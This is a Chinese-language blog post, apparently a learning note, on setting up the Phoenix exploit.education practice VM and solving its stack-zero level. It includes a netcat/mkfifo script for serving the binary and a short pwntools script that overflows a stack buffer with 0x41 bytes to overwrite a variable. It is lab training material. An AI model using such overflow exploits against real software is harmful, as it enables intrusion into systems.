BuringStraw

BuringStraw

[pwn Note 0] Phoenix環境搭建和stack-zero

找到一個學習 pwn 的項目http://exploit.education ,決定讓我臨時抱佛腳學的 pwn 走向正軌,試試開個筆記系列(每次 pwntools 腳本都忘記怎麼寫),希望不要半路棄坑。定個小目標,至少把 Phoenix 系列做完吧。

環境配置#

首先在 more-downloads 裡下載 phoenix 的虛擬機系統鏡像,根據你的架構選擇。這就是靶機。在啟動之前,我們需要安裝qemu-system-x86 (64 位的也在同一個包裡(archlinux))

運行boot-balabala.sh啟動虛擬機,默認在 2222 端口開啟 ssh。用戶名和密碼都是 user。

如果你想使用 netcat 來轉發裡面的程序,只需在啟動腳本裡添加另一個端口轉發,這裡放網絡那一整行為例。

-netdev user,id=unet,hostfwd=tcp:127.0.0.1:2222-:22,hostfwd=tcp:127.0.0.1:3333-:3333

然後在虛擬機裡執行

mkfifo io

並創建一個腳本文件(start.sh)

#!/bin/bash
cat io|$1 -i 2>&1|nc -l 3333 > io

然後你就可以通過sh start.sh /opt/phoenix/amd64/stack-zero 這樣的方式來開 netcat 了,端口 3333 記得要和啟動腳本裡的匹配。

虛擬機裡的 gdb 默認裝了 gef 但是我不太會用,所以 scp 了一份 peda 進去。略過。

宿主機再裝個非常方便的 pwntools:pip install pwntools

stack-zero#

程序比較簡單,直接用 cutter 了。

(其實 exploit.education 的網頁上給了源碼)(開頭的註釋甚至是個冷笑話草草草)

我們現在要讓 s 溢出到 var_10h (changeme),內容隨便。打開 gdb,計算一下距離,先隨便輸入點什麼。

字符串在0x620這裡。

判斷語句,changeme 在rbp-0x10 這裡也就是0x670-0x10

計算0x660-0x620=0x40

那麼我們只要輸出0x41個 a 即可

為了練習使用 pwntools,寫個代碼。

這裡直接用 ssh 連了,nc 都不需要。

from pwn import *

shell = ssh("user", "localhost", password="user", port=2222)
sh = shell.run("/opt/phoenix/amd64/stack-zero")
print(sh.recvline())
sh.sendline(b"a"*0x41)
print(sh.recvline())
shell.close()

成功

載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。